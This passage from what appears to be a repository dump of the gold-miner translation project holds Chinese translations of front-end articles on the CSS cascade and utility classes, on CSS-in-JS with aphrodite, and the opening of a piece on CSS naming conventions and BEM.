了。这就是层叠的由来。\n\n### 基于例外的样式\n\n我可能想要主要的 heading 元素（`h1`）采用相同的 `font-family`、`color` 和 `line-height`。使用继承就是很好的解决方案，但是我又想要它的 `font-size` 不一样。因为默认的 user-agent 样式已经给 `h1` 元素提供了一个大号的 `font-size`（但这时它就会被我设置的相对基础字体大小为 125% 的样式覆盖掉），可能的话我不需要这里发生覆盖。\n\n然而，难道我需要调整所有元素的字体大小吗？这时我就利用了全局作用域的优势，在局部作用域里只调整我需要调整的地方。\n\n```\n    * {\n      font-family: inherit;\n      line-height: inherit;\n      color: inherit;\n    }\n\n    html {\n      font-size: 125%;\n      font-family: sans-serif;\n      line-height: 1.5;\n      color: #222;\n    }\n\n    h1 {\n      font-size: 3rem;\n    }\n```\n\n如果 CSS 元素的样式默认被封装，那么下面的情况就不可能了：需要明确地给 `h1` 添加**所有**字体样式。反而，我可以将样式分为几个单独的样式类，然后通过空格分隔来逐一给 `h1` 添加样式：\n\n```\n    <h1 class=\"Ff(sans) Fs(3) Lh(1point5) C(darkGrey)\">Hello World</h1>\n```\n\n不管哪种方式，都需要更多的工作，而且最终目的都是一个具备样式的 `h1`。使用层叠，我已经给**大部分**元素赋上了想要的样式，并且只在一个方面使得 `h1` 成为一个例外。层叠作为一个过滤器，意味着样式只在添加新样式覆盖的时候才会发生改变。\n\n### 元素样式\n\n我们已经开了个好头，但想要真正地掌握层叠，还需要尽可能多地给公共元素添加样式。为什么？因为我们的混合组件是由独立的 HTML 元素构成，并且一个屏幕阅读器友好的界面充分利用了语义化结构标记。\n\n换句话说，让你的界面“分子化”（使用了 [atomic 设计术语](http://bradfrost.com/blog/post/atomic-web-design/#molecules)）的 “atoms” 样式应该在很大程度上可定位并且使用元素选择符。元素选择符的[优先级](https://www.smashingmagazine.com/2007/07/css-specificity-things-you-should-know/)很低，所以它们不会覆盖你之后可能加进来的基于类的样式。\n\n首先应该做的事情就是给所有你即将需要使用的元素添加样式：\n\n```\n    a { … }\n    p { … }\n    h1, h2, h3 { … }\n    input, textarea { … }\n    /* etc */\n```\n\n如果你想在无冗余的情况下有个一致性界面的话，那么下一步非常重要：每当你创建一个新组件的时候，**如果它采用了一些新元素，那么就用元素选择符来给它们添加样式**。现在不是时候去使用限制性、高优先级的选择符，也没有任何需要去编写一个样式类。语义化元素就使用其本身。\n\n举个例子，如果我还没有给 `button` 元素 （就像前一个例子）添加样式，并且新组件加入了一个 `button` 元素，那么这就是一个给**整个界面**的 `button` 元素添加样式的好机会。\n\n```\n    button {\n      padding: 0.75em;\n      background: #008;\n      color: #fff;\n    }\n\n    button:focus {\n      outline: 0.25em solid #dd0;\n    }\n```\n\n现在，当你想要再写一个新组件并且同样加入按钮的时候，就少了一件需要操心的事情了。在不同的命名空间下，不要去重写相同的 CSS，并且也没有类名需要记住或编写。CSS 本就应该总是致力于让事情变得简单和高效 - 它本身就是为此而设计的。\n\n使用元素选择符有三个主要的优势：\n\n- 生成的 HTML 更加简洁（没有多余的各种样式类）。\n- 生成的样式表更加简洁（样式在组件间共享，不需要在每个组件里重写）。\n- 生成的添加好样式的界面基于语义化 HTML。\n\n使用类来专门提供样式常常被定义为“关注点分离”。这是对 W3C 的[关注点分离](https://www.w3.org/TR/html-design-principles/#separation-of-concerns)原则的误解。它的目的是用 HTML 和 CSS 样式来描述整个结构。因为类专门是为了样式目的而制定，而且是在结构标记里出现，所以无论它们在哪里使用，技术上都是在**打破**分离，你不得不改变实质结构来得到样式。\n\n不管在哪里都不要依赖表面的结构标记（样式类，内联样式），你的 CSS 应该兼容通用的结构和语义化的约定。这就可以简单地扩展内容和功能而无需它也变成一个样式的任务。同样在不同传统语义化结构的项目里，也可以让你的 CSS 变得更加可复用（但是这一点 CSS 的“方法论”可能会有所不同）。\n\n#### 特殊情况\n\n在有人指责我过分简单化之前，我意识到界面上不是所有的按钮都做同样的事情，我还意识到做不同事情的按钮在某种程度上可能应该看起来不一样。\n\n但这并不是说我们就需要用样式类、继承**或者**层叠来处理了。让一个界面上的按钮看起来完全不一样是在混淆你的用户。为了可访问性**和**一致性，大多数按钮在外观上只需要通过标签来进行区分。\n\n```\n    <button>create</button>\n\n    <button>edit</button>\n\n    <button>delete</button>\n```\n\n记住样式并不是视觉上唯一的区分方法。内容同样可以在视觉上区分，而且在一定程度上它更加明确一些，因为你可是在文字上告诉了用户不同的地方。\n\n大多数情况下，单独使用样式来区分内容都不是必要或者正确的。通常，样式区分应该是附加条件，比如一个红色背景或者一个带图标的文本标签。文本标签对那些使用声音激活的软件有着特定的效果：当说出 “red button” 或者 “button with cross icon” 的时候并没有引起软件的识别时。\n\n我将在“工具类”部分探讨关于添加细微差别到看起来相似的元素上的话题。\n\n### 标签属性\n\n语义化 HTML 并不仅仅关于元素。标签属性定义类型、样式属性和状态。这些对可访问性来说也很重要，所以它们需要写在 HTML 里合适的地方。而且因为都在 HTML 里，所以它们还提供了做样式钩子的机会。\n\n举个例子，`input` 元素有一个 `type` 属性，那么你应该想要利用它的好处，还有[像 `aria-invalid` 属性](https://www.w3.org/TR/wai-aria/states_and_properties#aria-invalid)是用来描述状态的。\n\n```\n    input, textarea {\n      border: 2px solid;\n      padding: 0.5rem;\n    }\n\n    [aria-invalid] {\n      border-color: #c00;\n      padding-right: 1.5rem;\n      background: url(images/cross.svg) no-repeat center 0.5em;\n    }\n```\n\n这里有几点需要注意一下：\n\n- 这里我不需要设置 `color`、`font-family` 或者 `line-height`，因为这些都从 `html` 上继承了，得益于上面使用的 `inherit` 关键字。如果我想在整个应用的层面上改变 `font-family`，只需要在 `html` 那一块对其中一个声明进行编辑就可以了。\n- border 的颜色关联到 `color`，所以它同样是从全局 `color` 中继承。我只需声明 border 的宽度和风格。\n- `[aria-invalid]` 属性选择符是没有限制的。这意味着它有着更好的应用（它可以同时作用在 `input` 和 `textarea` 选择符）以及最低的优先级。简单的属性选择符和类选择符有着同样的优先级。无限制使用它们意味着之后任何写在层叠下的样式类都可以覆盖它们。\n\nBEM 方法论通过一个修饰符类来解决这个问题，比如 `input--invalid`。但是考虑到无效的状态应该只在可通信的时候起作用，`input--invalid` 还是一定的冗余。换句话说，`aria-invalid` 属性**不得不**写在那里，所以这个样式类的目的在哪里？\n\n#### 只写 HTML\n\n在层叠方面关于大多数元素和属性选择符我绝对喜欢的事情是：组件的构造变成**更少地了解公司或组织的命名约定，更多地关注 HTML**。任何精通写出像样 HTML 的开发者被分配到项目中时，都会从已经写到位的继承样式当中获益。这些样式显著地减少了读文档和写新 CSS 的需要。大多数情况下，他们可以只写一些死记硬背应该知道的（meta）语言。Tim Baxter 同样为此在 [Meaningful CSS: Style It Like You Mean It](http://alistapart.com/article/meaningful-css-style-like-you-mean-it) 里写了一个案例。\n\n### 布局\n\n目前为止，我们还没有写任何指定组件的 CSS，但这并不是说我们还没有添加任何相关样式。所有组件都是 HTML 元素的组合。形成更复杂的组件主要是靠这些元素的组合顺序和排列。\n\n这就给我们引出了布局这个概念。\n\n主要我们需要处理流式布局 - 连续块元素之间的间距。你可能已经注意到目前为止我没有给任何元素设置任何的外边距。那是因为外边距不应该考虑成一个元素的属性，而应该是元素上下文的属性。也就是说，它们应该只在遇到元素的时候才起作用。\n\n幸运的是，[直接相邻选择符](https://developer.mozilla.org/en/docs/Web/CSS/Adjacent_sibling_selectors)可以准确地描述这种关系。利用层叠，我们可以使用一个统一默认贯穿**所有**连续块级元素的选择符，只有少数例外情况。\n\n```\n    * {\n      margin: 0;\n    }\n\n    * + * {\n      margin-top: 1.5em;\n    }\n\n    body, br, li, dt, dd, th, td, option {\n      margin-top: 0;\n    }\n```\n\n使用优先级极低的[猫头鹰选择符](http://alistapart.com/article/axiomatic-css-and-lobotomized-owls)确保了**任意**元素（除了那些公共的例外情况）都通过一行来间隔。这意味着在所有情况下都会有一个默认的白色间隔，所有编写组件流内容的开发者都将有一个合理的起点。\n\n在大多数情况下，外边距只会关心它们自己。不过因为低优先级，很轻易就可以在需要的时候覆盖掉那基础的一行间隔。举个例子，我可能想要去掉标签和其相关元素之间的间隔，好表示它们是一对的。在下面的示例里，任意在标签之后的元素（`input`、`textarea`、`select` 等等）都不会有间隔。\n\n```\n    label {\n      display: block\n    }\n\n    label + * {\n      margin-top: 0.5rem;\n    }\n```\n\n再次，使用层叠意味着只需要在需要的时候写一些特定的样式就可以了，而其他的元素都符合一个合理的基准。\n\n需要注意的是，因为外边距只在元素之间出现，所以它们不会和可能包括在容器内的内边距重叠。这也是一件不需要担心或者预防的事情。\n\n还注意到不管你是否决定引入包装元素都得到了同样的间隔。就是说，你可以像下面这样做并实现相同的布局 - 外边距在 `div` 之间出现比在标签和输入框之间出现要好得多。\n\n```\n    <form>\n      <div>\n        <label for=\"one\">Label one</label>\n        <input id=\"one\" name=\"one\" type=\"text\">\n      </div>\n      <div>\n        <label for=\"two\">Label two</label>\n        <input id=\"two\" name=\"two\" type=\"text\">\n      </div>\n      <button type=\"submit\">Submit</button>\n    </form>\n```\n用像 [atomic CSS](http://acss.io/) 这样的方法能实现同样的效果，只需组合各种外边距相关的样式类并在各种情况下手动添加它们，包括被 `* + *` 隐式控制的 `first-child` 这种例外情况：\n\n```\n    <form class=\"Mtop(1point5)\">\n      <div class=\"Mtop(0)\">\n        <label for=\"one\" class=\"Mtop(0)\">Label one</label>\n        <input id=\"one\" name=\"one\" type=\"text\" class=\"Mtop(0point75)\">\n      </div>\n      <div class=\"Mtop(1point5)\">\n        <label for=\"two\" class=\"Mtop(0)\">Label two</label>\n        <input id=\"two\" name=\"two\" type=\"text\" class=\"Mtop(0point75)\">\n      </div>\n      <button type=\"submit\" class=\"Mtop(1point5)\">Submit</button>\n    </form>\n```\n\n记住如果坚持使用 atomic CSS 的话，像上面那么写只会覆盖到顶部外边距的情况。你必须还要为 `color`、`background-color` 以及其他属性建立独立的样式类，因为 atomic CSS 不会控制继承或者元素选择符。\n\n```\n    <form class=\"Mtop(1point5) Bdc(#ccc) P(1point5)\">\n      <div class=\"Mtop(0)\">\n        <label for=\"one\" class=\"Mtop(0) C(brandColor) Fs(bold)\">Label one</label>\n        <input id=\"one\" name=\"one\" type=\"text\" class=\"Mtop(0point75) C(brandColor) Bdc(#fff) B(2) P(1)\">\n      </div>\n      <div class=\"Mtop(1point5)\">\n        <label for=\"two\" class=\"Mtop(0) C(brandColor) Fs(bold)\">Label two</label>\n        <input id=\"two\" name=\"two\" type=\"text\" class=\"Mtop(0point75) C(brandColor) Bdc(#fff) B(2) P(1)\">\n      </div>\n      <button type=\"submit\" class=\"Mtop(1point5) C(#fff) Bdc(blue) P(1)\">Submit</button>\n    </form>\n```\n\nAtomic CSS 使开发者可以直接控制样式而不再使用内联样式，内联样式不像样式类一样可以复用。通过为各种独立的属性提供样式类，减少了样式表中的重复声明。\n\n但是，它需要直接介入标记从而实现这些目的。这就要求学习并投入它那冗长的 API，同样还需要编写大量额外的 HTML 代码。\n\n相反，如果只用来对任意 HTML 元素及其空间关系设计样式的话，那么 CSS “方法论”就要被大范围弃用了。使用一致性设计的系统有着很大的优势，相比一个叠加样式的 HTML 系统更方便考虑和分开管理。\n\n无论如何，下面是我们的 CSS 架构和流式布局内容解决方案应该具备的特征：\n\n1. 全局（`html`）样式并强制继承，\n2. 流式布局方法及部分例外（使用猫头鹰选择符），\n3. 元素及属性样式。\n\n我们还没有编写一个特定组件或者构思一个 CSS 样式类，但我们大部分的样式都已经写好了，前提是如果我们能够将样式类写得合理且可复用。\n\n### 工具类\n\n关于样式类它们有一个全局作用域：在 HTML 里任何地方使用，它们都会被关联的 CSS 所影响。对大多数人来说，这都被看做一个弊端，因为两个独立的开发者有可能以同样的命名来编写一个样式类，从而互相影响工作。\n\n[CSS modules](https://css-tricks.com/css-modules-part-1-need/) 最近被用来解决这种情况，通过以程序来生成唯一的样式类名，绑定到它们的局部或组件作用域当中。\n\n```\n    <!-- my module's button -->\n    <button class=\"button_dysuhe027653\">Press me</button>\n\n    <!-- their module's button -->\n    <button class=\"button_hydsth971283\">Hit me</button>\n```\n\n忽略掉生成代码的丑陋，你应该能够看到两个独立组件之间的不同，并且可以轻易地放在一起：唯一的标识符被用来区分同类的样式。在这么多更好的努力和冗余代码下，结果界面将要么不一致，要么一致。\n\n没有理由对公共元素来进行唯一性区分。你应该对元素类型添加样式，而不是元素实例。谨记 “class” 意味着“某种可能存在很多的东西的类型”。换句话说，所有的样式类都应该是工具类：全局可复用。\n\n当然，在这个示例里，总之 `.button` 类是冗余的：我们可以用 `button` 元素选择符来替代。但是如果有一种特殊类型的按钮呢？比如，我们可能编写一个 `.danger` 类来指明这个按钮是做危险性操作，比如删除数据：\n\n```\n    .danger {\n      background: #c00;\n      color: #fff;\n    }\n```\n\n因为类选择符的优先级比元素选择符的优先级高，而和属性选择符优先级相同，所以这种方式添加在样式表后面的样式规则会覆盖前面元素和属性选择符的规则。所以，危险按钮会以红色背景配白色文本出现，但它其他的属性，比如内边距，聚焦轮廓以及外边距都会通过之前的流式布局方法添加，保持不变。\n\n```\n    <button class=\"danger\">delete</button>\n```\n\n如果多位开发人员长时间在同样的代码基础上工作，那么偶尔就会发生命名冲突。但是有几种避免这种情况的方法，比如，噢，我不太知道，但对于你想要采用的名称我建议首先做一个文本搜索，看看是否已经存在了。因为你不知道，可能已经有人解决了你正在定位的问题。\n\n#### 局部作用域的各种工具类\n\n对于工具类来说，我最喜欢做的事情就是把它们设置在容器上，然后用这个钩子去影响内部子元素的布局。举个例子，我可以快速对任意元素设置一个等间隔、响应式以及居中的布局。\n\n```\n    .centered {\n      text-align: center;\n      margin-bottom: -1rem; /* adjusts for leftover bottom margin of children */\n    }\n\n    .centered > * {\n      display: inline-block;\n      margin: 0 0.5rem 1rem;\n    }\n```\n\n使用这个方法，我可以把列表项、按钮、按钮组合以及链接等随便什么元素居中展示。全靠 `> *` 的使用，在这个作用域中，它意味着带有 `.centered` 样式的元素下最近的子元素将会采用这些样式，并且还继承全局和父元素的样式。\n\n而且我调整了外边距，好让元素可以自由进行包裹，而且不会破坏使用 `* + *` 选择符设置的垂直设定。这少量的代码通过对不同元素设置一个局部作用域，就提供了一个通用、响应式的布局解决方案。\n\n我的一个小型（压缩后 93B）的[基于 flexbox 网格布局系统](https://github.com/Heydon/fukol-grids) 就是一个类似这种方法的工具类。它高度可复用，而且因为它使用了 `flex-basis`，所以不需要断点干预。我只是用了 flexbox 布局的方法。\n\n```\n    .fukol-grid {\n      display: flex;\n      flex-wrap: wrap;\n      margin: -0.5em; /* adjusting for gutters */\n    }\n\n    .fukol-grid > * {\n      flex: 1 0 5em; /* The 5em part is the basis (ideal width) */\n      margin: 0.5em; /* Half the gutter value */\n    }\n```\n\n![logo with sea anemone (penis) motif](https://www.smashingmagazine.com/wp-content/uploads/2016/11/logo-fukol.png)\n\n使用 BEM 的方法，你会被鼓励在每个网格项上放置一个明确的“元素”样式类：\n\n```\n    <div class=\"fukol\"> <!-- the outer container, needed for vertical rhythm -->\n      <ul class=\"fukol-grid\">\n        <li class=\"fukol-grid__item\"></li>\n        <li class=\"fukol-grid__item\"></li>\n        <li class=\"fukol-grid__item\"></li>\n        <li class=\"fukol-grid__item\"></li>\n      </ul>\n    </div>\n```\n\n但这不是必要的。只需一个标识符去实例化本地作用域。这里的列表项相比起我版本当中的列表项，不再受外部影响的保护，**也不应该**被 `> *` 所影响。仅有的区别就是充斥了大量样式类的标记。\n\n所以，现在我们已经开始合并样式类，但只在通用性上合并，和它们所预期的效果一样。我们仍然还没有独立地给复杂组件添加样式。反而，我们在以一种可复用的方式解决一些系统性的问题。当然，你将需要在注释里写清楚这些样式类是如何使用的。\n\n像这些的工具类同时采用了 CSS 的全局作用域、局部作用域、继承以及层叠的优点。这些样式类可以在各个地方使用，它们实例化局部作用域从而只影响它们的子元素，它们从父级或全局作用域中继承**没有**设置在自身的样式，**而且**我们没有过度使用元素或类选择符。\n\n下面是现在我们的层叠看上去的样子：\n\n1. 全局（`html`）样式和强制性继承，\n2. 流式布局方法和一些例外（使用猫头鹰选择符），\n3. 元素和属性样式，\n4. 通用的工具类。\n\n当然，可能没有必要去编写所有这些示例工具类。重点是，如果在使用组件的时候出现了需求，那么解决方案应该对所有组件都有效才行。一定要总是站在系统层面去思考。\n\n#### 特定组件样式\n\n我们从一开始就已经给组件添加了样式，并且学习样式结合组件的方法，所以很多人有可能会忽略掉马上要讲到这个部分。但值得说明的是，任何不是从其他组件中创建的组件（甚至包括单个 HTML 元素）都是有必要存在的。它们是使用 ID 选择符的组件，以及有可能成为系统问题的风险。\n\n事实上，一个好的实践是只使用 ID 来给复杂组件标识（“molecules”、“organisms”），并且不在 CSS 里使用这些 ID。比如，你可以在登录表单组件上写一个 `#login`，那么你就不应该在 CSS 里以元素、属性或者流式布局方法的样式来使用 `#login`，即使你可能会发现你在创造一个或两个可以在其他表单组件里使用的通用工具类。\n\n如果你**确实**使用了 `#login`，那么它只会影响那个组件。值得提醒的是如果这么做，那么你就已经偏离了开发一个设计系统方向，并且朝着只有不停纠结像素的冗长代码前进。\n\n### 结论\n\n当我告诉人们我不使用诸如 BEM 这样的方法论或者 CSS 模块这样的工具时，多数人会认为我会编写下面这样的 CSS：\n\n```\n    header nav ul li {\n      display: inline-block;\n    }\n\n    header nav ul li a {\n      background: #008;\n    }\n```\n\n我没有这样做。一份清晰的陈述已经在这儿了，还有我们需要小心去避免的事情也已经阐述了。只是想说明 BEM（还有 OOCSS、SMACSS、atomic CSS 等）并不是避免复杂、不可能管理的 CSS 的唯一方法。\n\n为了解决优先级问题，许多方法论几乎都选择了使用类选择符。问题在于这产生了大量的样式类：让 HTML 标记变得臃肿的各种神奇代码，以及失去了对文档的注意力，这些都会让新来的开发者对他们所处的系统感到困扰和迷惑。\n\n通过大量地使用样式类，你还需要管理一个样式系统，而且这个系统很大程度上是和 HTML 系统分离的。这种不太合适的所谓“关注点分离”可以造成冗余，甚至更糟糕，导致不可访问性：有可能会在可访问的状态下影响一个视觉上的样式：\n\n```\n    <input id=\"my-text\" aria-invalid=\"false\" class=\"text-input--invalid\" />\n```\n\n为了替换掉大量的编写和各种样式类，我找到了其他一些方法：\n\n- 为了一致性掌握继承去设置一个前置条件；\n- 充分使用元素和属性选择符去支持透明度和基于标准的组合样式；\n- 使用简便的流式布局系统；\n- 合并一些高度通用的工具类，解决影响多元素的共同布局问题。\n\n所有这些方法都是为了创建一个设计**系统**，使编写一个新组件变得更简单，以及当项目成熟的时候，减少添加新的 CSS 代码的依赖。并且这并不是获益于严格的命名和合并，反而是因为缺少了它们。\n\n可能你会对我在这里推荐的特殊技巧并不感冒，但我还是希望这篇文章至少可以让你重新思考一下组件是什么。它们不是你独立创建的东西。有的时候，在标准 HTML 元素的情况下，它们甚至不是你所创建的东西。你的组件**从**其他组件拿来的东西越多，那么界面的可访问性和视觉上的一致性就会变得更好，并且最后会用更少的 CSS 去实现它们。\n\n（这些问题）CSS 并没有太多过错。事实上，让你做很多事情是非常好的，我们只是没有利用罢了。\n"
  },
  {
    "path": "TODO/css-is-fine-its-just-really-hard.md",
    "content": "> * 原文地址：[CSS is Fine, It’s Just Really Hard](https://medium.com/@jdan/css-is-fine-its-just-really-hard-638da7a3dce0)\n> * 原文作者：该文章已获原作者 [Jordan Scales](https://medium.com/@jdan) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [ZhangFe](https://github.com/ZhangFe)\n> * 校对者：[bambooom](https://github.com/bambooom)，[gy134340](https://github.com/gy134340)\n\n---\n\n# CSS很棒，只是真的太难了\n\n大家对CSS再次感到不安。现在是时候站在制高点 [写一些讽刺性的文章](https://medium.com/friendship-dot-js) 让自己感觉好一些了，不过今天说的是一些热门话题。\n\nCSS 很棒。它只是太难了，所以我对它进行了一些编译。\n\n—\n\n我叫 Jordan ，我写过很多的 JavaScript 和 CSS，而且我真的非常擅长这两件事。如果 CSS 是奥运会项目的话我很容易就能获得参赛资格，但是可能得不到奖牌。不过我并不需要一个奖牌，因为我有一个计算机相关的奖杯。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ioYNZ-FgsSpoos6b3iKblg.png)\n\n很长一段时间以来，我在电脑和手机上画了很多很多的矩形。我写了很多糟糕的 CSS，成千上万行差劲的 Less 代码和大量可怕的 Sass。他们已经融入我的血液了。\n\n但是我也写过很多很棒的 CSS！我使用 borders 画过三角形，使用 CSS transforms 绘制贝塞尔曲线，制作 60fps 的滚动动画，以及会让你大吃一惊的工具提示。\n\nCSS 是一项非常棒的技术。给我 30 秒我可以写一些纯 HTML 并且使用你见过的最丑的蓝色和 Times New Roman 字体展示一些文本和超链接。再给我 30 秒我又会使那个蓝色好看一些，并且我可以用一个漂亮的字体。\n\n它非常直观。如果我想我所有的链接看起来一样，我随时可以办到。希望图片有漂亮的边框和外边距？没问题。这就是 CSS 被创造的原因。\n\nCSS性能极高。长久以来，很多人都在为了让 CSS 更快速，可调试以及看起来更舒适做出努力。CSS 现在也是这么发展的，并且我们可以免费使用这些复杂的工具，这简直太棒了。更不用说我们可以利用 Google 搜索快速检索到无数的博客和超酷的示例。\n\n—\n\n当我年轻的时候，我发现每当我想让边框和超链接文本是同一个颜色的时候我都需要在两三个不同的地方去修改，这真是太可怕了。然后我发现了 LESS。现在我可以定义一个 `@wonderfulBlue` 并且在任何地方去使用它。**喂，Jordan，现在的 CSS 也有变量了...**\n\n\n然后我开始考虑为什么要为解释 `#left-section` 的宽度是546px（250 * 2 + 23 * 2）留下很长的注释？我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。**我猜测你不熟悉 calc()，因为它浏览器兼容性不好**\n\n当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。**好吧如果你只用到了组件分类呢 —**。伙计你能停一停么？让我完成我的文章先。**我错了 —**。没事，别担心，继续听下去。\n\n当 CSS 解决不了我的问题时，我开始写 Less。它们会被编译成 CSS，并且它在我的用户的设备上工作的非常棒。只是我比原来忙了 10 倍，我无法单独去编写它了。\n\n—\n\n我开始[团队协作](https://www.khanacademy.org/)，在这些大型页面上有很多类和变量。我的工作就是对现有的标记做导航，复用变量，将常见的模式重构为自己的实用类和方法，以及其他所有开发者应该做的事。\n\n他们中的某些页面已经很庞大了，因此通常我们会将我们的 CSS （好吧，Less）和 JavaScript 分割成独立的文件，这样用户就不必下载练习页面的代码来观看视频。\n\n有些时候，我们移除了很多代码后样式看起来就不对了。因为我们的主页菜单可能希望有一个 `.left-arrow` 类，但是现在这个 class 的样式在 `exercise.css` 文件里。通常我们注意不到这点，因为导航条被鼠标点击几次后 `.left-arrow` 会被整齐地卷起来。**这么看来你应该有截图测试或更严格的 QA 过程**，我刚才说了什么来着？\n\n唉，这是很辛苦的工作！但是代码就是偶尔会出 bug，修复它们并且继续前进，这是件很酷的事。\n\n解决这个问题的方案就是使用 [BEM](http://getbem.com/) 和 [SMACSS](https://smacss.com/) 的形式。你会发现这些带有短横线和下划线的新颖类名是一个非常棒的组织你代码的形式。\n\n但是，呃，这很奇怪。为什么我要花时间手动地将我们的 CSS 重构成这些类名呢？它应该是自动化的，是 grunt 的工作，但是现在它充满了人为错误。\n\n—\n\n现在是时候讲一个有关我祖母手工为打卡机编写机器码的个人故事了。好吧，我的祖母并没有这么做，她为福利委员会的参议员工作，即便她已经很聪明了，她也没有足够的时间去做计算机相关的事。我可以撒谎，但是为什么要做这种事呢？\n\n不管怎样，想象一下假如我的祖母真的为打卡机写了机器码呢？又一次充满着人为的错误！出了一个 bug？重新敲一遍。卡片丢地上了？捡起来然后重新排序，或者直接重新开始。很奇怪吧？我们不能让机器帮我们做这些事么？\n\n\n这正是我理论上的祖母做的，她制作了一个机器为她打卡。好吧，她没这么做，但是别人做了！我们有很酷的东西，如汇编语言，FORTRAN，和C语言。人们会把新技术发展的每一步都发布到 twitter 上并且批评它。**只需要用打卡机！只需要用 FORTRAN！只需要用 C —**。好吧，我猜大家也是这么做的。\n\n—\n\n这就引申到到我这篇文章的重点。\n\nCSS很好，速度很快，它已经发展了有20多年了，并且适用于各种应用程序。\n\n但是我真的不喜欢写 CSS。很多人也不喜欢，所以我们开发了这些很棒的模式去写 CSS。但是我也不喜欢以这些模式去写，我有更好的事情要去做。并且 JavaScript 也很酷。**实际上 JavaScript 有更多的可能性**。[所以我用 JavaScript 去编写我的 CSS](https://github.com/khan/aphrodite).\n\n\n把这样的代码:\n\n    const Example = () => (\n      <h1 className={css(styles.heading, styles.callout)}>\n        Hello, world!\n      </h1>\n    )\n\n    const styles = StyleSheet.create({\n      heading: {\n        fontFamily: \"Comic Sans MS\",\n      },\n      callout: {\n        color: \"tomato\",\n      },\n      unused: {\n        width: 600,\n      },\n    })\n\n变成这个样子:\n\n    <h1 class=\"heading_1flg42u-o_O-callout_1ih983s\">Hello, world!</h1>\n\n    ...\n\n    .heading_1flg42u-o_O-callout_1ih983s {\n        font-family: Comic Sans MS !important;\n        color: tomato !important;\n    }\n\n看到没？依然是 CSS，干净、完美、教科书般的 CSS。但它不是我写的，机器完成了这件事。没用到的代码也被移除了，我可以在任何地方渲染 `<Example>` 并且能确保样式。\n\n[我可以在任何地方呈现可汗学院的学习菜单](https://medium.com/@jdan/rendering-khan-academys-learn-menu-wherever-i-please-4b58d4a9432d)\n\n\n—\n\n我和你们是同一阵营的。CSS 非常棒，并且一次性把他们全部替代了是非常愚蠢的。就像 FORTRAN 没有替代低级汇编代码一样，[aphrodite](https://github.com/khan/aphrodite) 和 [styled-components](https://github.com/styled-components/styled-components) 并没有替换 CSS。他们正在编写 CSS。\n\n\n但是请别再和我说去学学 CSS 了。我了解 CSS。往上翻，我有一个计算机奖杯。我的 CSS 非常棒，但现在更好，因为我正在尽可能的从中移除人为错误。我们不应该庆祝么？\n\n嘿，我也答应你我会停止说 CSS 的坏话，如果写的话字数要比本文少得多，它更适合一个主题标签，让我们和好吧？\n\n—\n\n去关注我的 [twitter](https://twitter.com/jdan)，这样我们就可以互相争论了。如果我有一本书，我可能会链接到这里，但是没人会给我出书的邀约的。希望你喜欢这篇文章 ❤\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n\n"
  },
  {
    "path": "TODO/css-naming-conventions-that-will-save-you-hours-of-debugging.md",
    "content": "> * 原文地址：[CSS Naming Conventions that Will Save You Hours of Debugging](https://medium.freecodecamp.org/css-naming-conventions-that-will-save-you-hours-of-debugging-35cea737d849)\n> * 原文作者：[Ohans Emmanuel](https://medium.freecodecamp.org/@ohansemmanuel?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/css-naming-conventions-that-will-save-you-hours-of-debugging.md](https://github.com/xitu/gold-miner/blob/master/TODO/css-naming-conventions-that-will-save-you-hours-of-debugging.md)\n> * 译者：[unicar](https://github.com/unicar9)\n> * 校对者：[dazhi1011](https://github.com/dazhi1011)，[swants](https://github.com/swants)\n\n# 这些 CSS 命名规范将省下你大把调试时间\n\n![](https://cdn-images-1.medium.com/max/1000/1*YunI3ChUVMlpmFzo75FczQ.png)\n\n我听说很多开发者厌恶 CSS。而在我的经验中，这往往是由于他们并没有花时间来学习 CSS。\n\nCSS 算不上是最优美的『语言』，但迄今二十多年来，它都是美化 web 举足轻重的工具。从这点来说，也还算不错吧？\n\n尽管如此，CSS 写得越多，你越容易发现一个巨大的弊端。\n\n因为维护 CSS 真是老大难。\n\n特别是那些写得差劲的 CSS 会很快变成程序员的噩梦。\n\n这里向大家介绍一些命名规范，遵照这些规范可以省时省力，少走弯路。\n\n![](https://cdn-images-1.medium.com/max/800/1*fe0MIB3iqSruW1pgZW9rKw.jpeg)\n\n对此你一定深有体会吧？\n\n### 使用连字符分隔的字符串\n\n如果你常写 JavaScript，那么你知道对变量使用驼峰式命名法（camel case）是一种惯例。\n\n```\nvar redBox = document.getElementById('...')\n```\n\n这样很好，对吧？\n\n但问题是这种命名法并不适用于 CSS。\n\n请切忌以如下方式命名：\n\n```\n.redBox {\n  border: 1px solid red;\n}\n```\n\n相应的，你可以这样写：\n\n```\n.red-box {\n   border: 1px solid red;\n}\n```\n\n这是一种非常标准的 CSS 命名规范。也可以说更易读。\n\n同时，这也和 CSS 属性名称保持了一致。\n\n```\n// Correct\n.some-class {\n   font-weight: 10em\n}\n// Wrong\n.some-class {\n   fontWeight: 10em\n}\n```\n\n### BEM 命名规范\n\n不一样的团队在写 CSS 选择器（CSS selectors）有不一样的方法。有些团队使用的是连字符分隔（hyphen delimiters）法，还有一些倾向于使用一种叫 BEM 的命名法，这种方法更加有条理。\n\n总的来说，这些 CSS 命名规范试图解决 3 类问题：\n\n1. 仅从名字就能知道一个 CSS 选择器具体做什么\n2. 从名字能大致清楚一个选择器可以在哪里使用\n3. 从 CSS 类的名称可以看出它们之间的联系\n\n不知你是否见过这样的类名：\n\n```\n.nav--secondary {\n  ...\n}\n.nav__header {\n  ...\n}\n```\n\n这就是 BEM 命名规范。\n\n### 向 5 岁小孩解释 BEM 规范\n\nBEM 